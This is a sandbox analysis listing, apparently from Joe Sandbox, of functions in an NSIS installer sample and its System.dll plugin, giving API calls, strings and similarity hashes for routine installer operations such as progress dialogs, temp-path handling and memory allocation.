Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: c40ddff33436de44b244b2b19f9e8da7546f4e0328de08243a0837e5050f2c6b
Instruction ID: c65c9f61eb329069142d3a49436c3393aeffd9891ae55f37d91fa0e4ac25720a
Opcode Fuzzy Hash: c40ddff33436de44b244b2b19f9e8da7546f4e0328de08243a0837e5050f2c6b
Instruction Fuzzy Hash: 1A016170941614EBC7226B60EE4DA9B7B68BB01745B50413FF841F12E0CAB84459DBEE

Function 00404D1A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404D35
GetMessagePos.USER32 ref: 00404D3D
ScreenToClient.USER32(?,?), ref: 00404D57
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404D69
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404D8F

Strings

f, xrefs: 00404D6B

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction ID: ac2b37e4453cd55ff3643614bd1240a9a451636028a825994647dd398b99f398
Opcode Fuzzy Hash: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction Fuzzy Hash: 23015E71940218BADB00DB94DD85FFEBBBCAF95711F10412BBA50F62D0D7B499018BA4

Function 7009161D Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 41memorylibraryloaderCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000808,00000000,?,00000000,700921EC,?,00000808), ref: 70091635
GlobalAlloc.KERNEL32(00000040,00000000,?,00000000,700921EC,?,00000808), ref: 7009163C
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,00000000,700921EC,?,00000808), ref: 70091650
GetProcAddress.KERNEL32(!p,00000000), ref: 70091657
GlobalFree.KERNEL32(00000000), ref: 70091660

Strings

!p, xrefs: 70091653

Memory Dump Source

Source File: 00000000.00000002.1855880593.0000000070091000.00000020.00000001.01000000.00000004.sdmp, Offset: 70090000, based on PE: true

Associated: 00000000.00000002.1855819178.0000000070090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1855965653.0000000070094000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1855996025.0000000070096000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70090000_rXKfKM0T49.jbxd

Similarity

API ID: ByteCharGlobalMultiWide$AddressAllocFreeProc
String ID: !p
API String ID: 1148316912-2467817428
Opcode ID: c336faa0eb9174157cac95bf6f149daa4f13fbad6713519c00344bae21bfa333
Instruction ID: c05fac502b403bc556c4e336acb3a2462aefc3c2a2bfea3b9ac989a9b0749b23
Opcode Fuzzy Hash: c336faa0eb9174157cac95bf6f149daa4f13fbad6713519c00344bae21bfa333
Instruction Fuzzy Hash: 50F09E7311A1387F962116A78C4CD9B7E9CEF8B2F5B110216F728A11A085A15D01D7F1

Function 00402DF3 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,?,000000FA,00000000), ref: 00402E11
wsprintfW.USER32 ref: 00402E45
SetWindowTextW.USER32(?,?), ref: 00402E55
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402E67

Strings

unpacking data: %d%%, xrefs: 00402E33, 00402E43
verifying installer: %d%%, xrefs: 00402E3A

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: a591fce2f88080881549ac7e7473da6278debd618655821d08f98b44133a3158
Instruction ID: 1bfa7b94c56a1c823be81e007cf4dd9dcc28a4463181553f30e61efe61dd31fb
Opcode Fuzzy Hash: a591fce2f88080881549ac7e7473da6278debd618655821d08f98b44133a3158
Instruction Fuzzy Hash: 30F0317064020CABDF206F60DD4ABEE3B69EB40319F00803AFA45B51D0DBB999598F99

Function 70092569 Relevance: 9.1, APIs: 6, Instructions: 109COMMON

Download Yara Rule

APIs

Part of subcall function 7009121B: GlobalAlloc.KERNEL32(00000040,?,7009123B,?,700912DF,00000019,700911BE,-000000A0), ref: 70091225

GlobalFree.KERNEL32(?), ref: 70092657
GlobalFree.KERNEL32(00000000), ref: 7009268C

Memory Dump Source

Source File: 00000000.00000002.1855880593.0000000070091000.00000020.00000001.01000000.00000004.sdmp, Offset: 70090000, based on PE: true

Associated: 00000000.00000002.1855819178.0000000070090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1855965653.0000000070094000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1855996025.0000000070096000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70090000_rXKfKM0T49.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 5e4fb459ac49a9313bf519d321793ca390f62ff4ba72b5b2a29739e38e06c971
Instruction ID: 62f66e45a8a62ca6c5db8efcbe496d3d784698f30e1c6efa9e3cabbaa3737027
Opcode Fuzzy Hash: 5e4fb459ac49a9313bf519d321793ca390f62ff4ba72b5b2a29739e38e06c971
Instruction Fuzzy Hash: 3D31F032224101DFD7269F65CC94D2E77BAFB85B34322012AF24293670C731A814EB59

Function 004028AD Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000), ref: 00402901
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 0040291D
GlobalFree.KERNEL32(?), ref: 00402956
GlobalFree.KERNEL32(00000000), ref: 00402969
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000000F0), ref: 00402981
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000), ref: 00402995

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: ad54be54d1b33f2c3e643305ac3600c2e6c22dcacd93b56e136af0bf18fa41fc
Instruction ID: fa73a2a76dd28b4b8719808dd60f9f08d060129827b0ffc87b4efdc8f5ae5e12
Opcode Fuzzy Hash: ad54be54d1b33f2c3e643305ac3600c2e6c22dcacd93b56e136af0bf18fa41fc
Instruction Fuzzy Hash: 3D21BFB1D00124BBCF116FA5DE48D9E7E79EF09364F10023AF9607A2E1CB794D418B98

Function 00404C0C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00423728,00423728,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404CAD
wsprintfW.USER32 ref: 00404CB6
SetDlgItemTextW.USER32(?,00423728), ref: 00404CC9

Strings

%u.%u%s%s, xrefs: 00404C97
(7B, xrefs: 00404C9F

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$(7B
API String ID: 3540041739-1320723960
Opcode ID: c06007edea0c83b5e0931fd45a2cd42dabd82a11b0b4461ae96ab8921206da46
Instruction ID: eedca0a42859d703ec1426aadcab00983e9769f6aa36ce56d5d2522b0312c54d
Opcode Fuzzy Hash: c06007edea0c83b5e0931fd45a2cd42dabd82a11b0b4461ae96ab8921206da46
Instruction Fuzzy Hash: A711D873A0412837EB00556DAC45EDE3298EB85374F254237FA26F31D1D9798C6282E8

Function 00402598 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69stringCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\nspC239.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nspC239.tmp\System.dll,00000400,?,?,00000021), ref: 004025E8
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nspC239.tmp\System.dll,?,?,C:\Users\user\AppData\Local\Temp\nspC239.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nspC239.tmp\System.dll,00000400,?,?,00000021), ref: 004025F3

Strings

C:\Users\user\AppData\Local\Temp\nspC239.tmp\System.dll, xrefs: 004025B3, 004025DA, 004025EE, 0040263A
C:\Users\user\AppData\Local\Temp\nspC239.tmp, xrefs: 004025E1

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nspC239.tmp$C:\Users\user\AppData\Local\Temp\nspC239.tmp\System.dll
API String ID: 3109718747-1808417934
Opcode ID: 2504939cc2fa207c3b55af63f84819462ffbd17dbd09f8919900b39cf6f986df
Instruction ID: c13fbae436403556d6c48d38c5ac6db5007ae9437622b5a65b164b2cac9ab4a1
Opcode Fuzzy Hash: 2504939cc2fa207c3b55af63f84819462ffbd17dbd09f8919900b39cf6f986df
Instruction Fuzzy Hash: FB110B72A00301BADB106BB18E8999F7664AF44359F20443BF502F21D0D9FC89416B5E

Function 700918D9 Relevance: 7.7, APIs: 5, Instructions: 194COMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(?), ref: 7009193A
GlobalFree.KERNEL32(?), ref: 70091ADA
GlobalFree.KERNEL32(?), ref: 70091ADF

Memory Dump Source

Source File: 00000000.00000002.1855880593.0000000070091000.00000020.00000001.01000000.00000004.sdmp, Offset: 70090000, based on PE: true

Associated: 00000000.00000002.1855819178.0000000070090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1855965653.0000000070094000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1855996025.0000000070096000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70090000_rXKfKM0T49.jbxd

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: 48cab87c047df78743651730741a72010dbaf07530908430e1becba22478f77f
Instruction ID: e437b65b763aa35e47456aa5ef3ddcbd52917a2cf3b5700c3c4e47ab291d62f8
Opcode Fuzzy Hash: 48cab87c047df78743651730741a72010dbaf07530908430e1becba22478f77f
Instruction Fuzzy Hash: 4651F532F76055AECB129FA4C8805ED77FBEB44B30B10425AE406A3354D770AE81B79E

Function 70092394 Relevance: 7.6, APIs: 5, Instructions: 135memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 700924D6

Part of subcall function 7009122C: lstrcpynW.KERNEL32(00000000,?,700912DF,00000019,700911BE,-000000A0), ref: 7009123C

GlobalAlloc.KERNEL32(00000040), ref: 7009245C
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 70092477

Memory Dump Source

Source File: 00000000.00000002.1855880593.0000000070091000.00000020.00000001.01000000.00000004.sdmp, Offset: 70090000, based on PE: true

Associated: 00000000.00000002.1855819178.0000000070090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1855965653.0000000070094000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1855996025.0000000070096000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70090000_rXKfKM0T49.jbxd

Similarity

API ID: Global$AllocByteCharFreeMultiWidelstrcpyn
String ID:
API String ID: 4216380887-0
Opcode ID: 7023aa4b27ef49ea52296a6cd5e5d0cc00dd98e5ca7be6d16937fea4ba5435e0
Instruction ID: be975426a80bbd8ba3e1072c43150a1c9d9c0c7e0ea22cd262cf47fad4984042
Opcode Fuzzy Hash: 7023aa4b27ef49ea52296a6cd5e5d0cc00dd98e5ca7be6d16937fea4ba5435e0
Instruction Fuzzy Hash: CE41E1B1128305DFD320DF31D844A6E77F9FB88B30B22891EF14687691EB74A544EB69

Function 00401DB9 Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401DBC
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401DD6
MulDiv.KERNEL32(00000000,00000000), ref: 00401DDE
ReleaseDC.USER32(?,00000000), ref: 00401DEF
CreateFontIndirectW.GDI32(0040CDD8), ref: 00401E3E

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: e8aeef341752f35f6f278e7796ab08014b9ac4723c71950966d24e93e9008032
Instruction ID: 863f18fc6204ba506076eb1f746ada73c94881a68b515e1873f2d1072bd1cf43
Opcode Fuzzy Hash: e8aeef341752f35f6f278e7796ab08014b9ac4723c71950966d24e93e9008032
Instruction Fuzzy Hash: 15017171944240EFE701ABB4AF8ABD97FB4AF55301F10457EE242F61E2CA7804459F2D

Function 00401D5D Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D63
GetClientRect.USER32(00000000,?), ref: 00401D70
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D91
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D9F
DeleteObject.GDI32(00000000), ref: 00401DAE

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: f8e0c1d3071f89bffdcd2d635822fb410905a1edc8d2ce6cb8a0a09a78f20d84
Instruction ID: 8bbc6a183a468c813578a114873fb97f9d5ca0b11dae6a70aa3aa56fe52826a6
Opcode Fuzzy Hash: f8e0c1d3071f89bffdcd2d635822fb410905a1edc8d2ce6cb8a0a09a78f20d84
Instruction Fuzzy Hash: 4BF0FF72A04518AFDB01DBE4DF88CEEB7BCEB48301B14047AF641F61A0CA749D519B38

Function 00401C1F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C8F
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CA7

Strings

!, xrefs: 00401C5B

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 204806375d4f16312a37781d02af86e184349cdc68ded53cac09897120414cdc
Instruction ID: ef61c68cd4a6cc3a6f3726d4b558d534156d03c1c75d5f5b51cfe904c604fa23
Opcode Fuzzy Hash: 204806375d4f16312a37781d02af86e184349cdc68ded53cac09897120414cdc
Instruction Fuzzy Hash: A621B471948209AEEF049FA5DA4AABD7BB4EB44304F14443EF605B61D0D7B845409B18

Function 00405CBD Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00403492,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,76F93420,004036EF,?,00000006,00000008,0000000A), ref: 00405CC3
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,00403492,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,76F93420,004036EF,?,00000006,00000008,0000000A), ref: 00405CCD
lstrcatW.KERNEL32(?,0040A014,?,00000006,00000008,0000000A), ref: 00405CDF

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405CBD

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-297319885
Opcode ID: cc3b6fad2320eb0d125534955cb1fe8af3638bf69e103b669ecb1462063790d4
Instruction ID: 595fb0ef6d3bfc82903baa2f142a0de03b6946227050b98ce465681b6cfad29b
Opcode Fuzzy Hash: cc3b6fad2320eb0d125534955cb1fe8af3638bf69e103b669ecb1462063790d4
Instruction Fuzzy Hash: AED0A771101630AAC111AB448D04CDF63ACEE45304342003BF601B70A2CB7C1D6287FD

Function 00405DC5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00000400,00403576,00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063F5

Part of subcall function 00405D68: CharNextW.USER32(?,?,00425F30,?,00405DDC,00425F30,00425F30,?,?,76F92EE0,00405B1A,?,C:\Users\user\AppData\Local\Temp\,76F92EE0,00000000), ref: 00405D76
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D7B
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D93

lstrlenW.KERNEL32(00425F30,00000000,00425F30,00425F30,?,?,76F92EE0,00405B1A,?,C:\Users\user\AppData\Local\Temp\,76F92EE0,00000000), ref: 00405E1E
GetFileAttributesW.KERNEL32(00425F30,00425F30,00425F30,00425F30,00425F30,00425F30,00000000,00425F30,00425F30,?,?,76F92EE0,00405B1A,?,C:\Users\user\AppData\Local\Temp\,76F92EE0), ref: 00405E2E

Strings

0_B, xrefs: 00405DCB

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: 0_B
API String ID: 3248276644-2128305573
Opcode ID: df6e64e4f6769b316d4c1c7beb25aaa03b2c49ca2ab4503c480f7fe4b4eab687
Instruction ID: e2ef3bf648e1011fa726b67e088789f036b8871ba300d86fb9c867912b04298b
Opcode Fuzzy Hash: df6e64e4f6769b316d4c1c7beb25aaa03b2c49ca2ab4503c480f7fe4b4eab687
Instruction Fuzzy Hash: B4F0F439109E5116D62233365D09BEF0548CF82354B5A853BFC91B22D2DB3C8A539DFE

Function 004059D1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00426730,Error launching installer), ref: 004059FA
CloseHandle.KERNEL32(?), ref: 00405A07

Strings

Error launching installer, xrefs: 004059E4

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 6d78ed6c6b667bfe634139d4e18f22187190c1a967eebebbcf2d401a0833c7e8
Instruction ID: 166b032e71181ba573d10d742cd21a74b10ba840f41c43b266edefbe5b435367
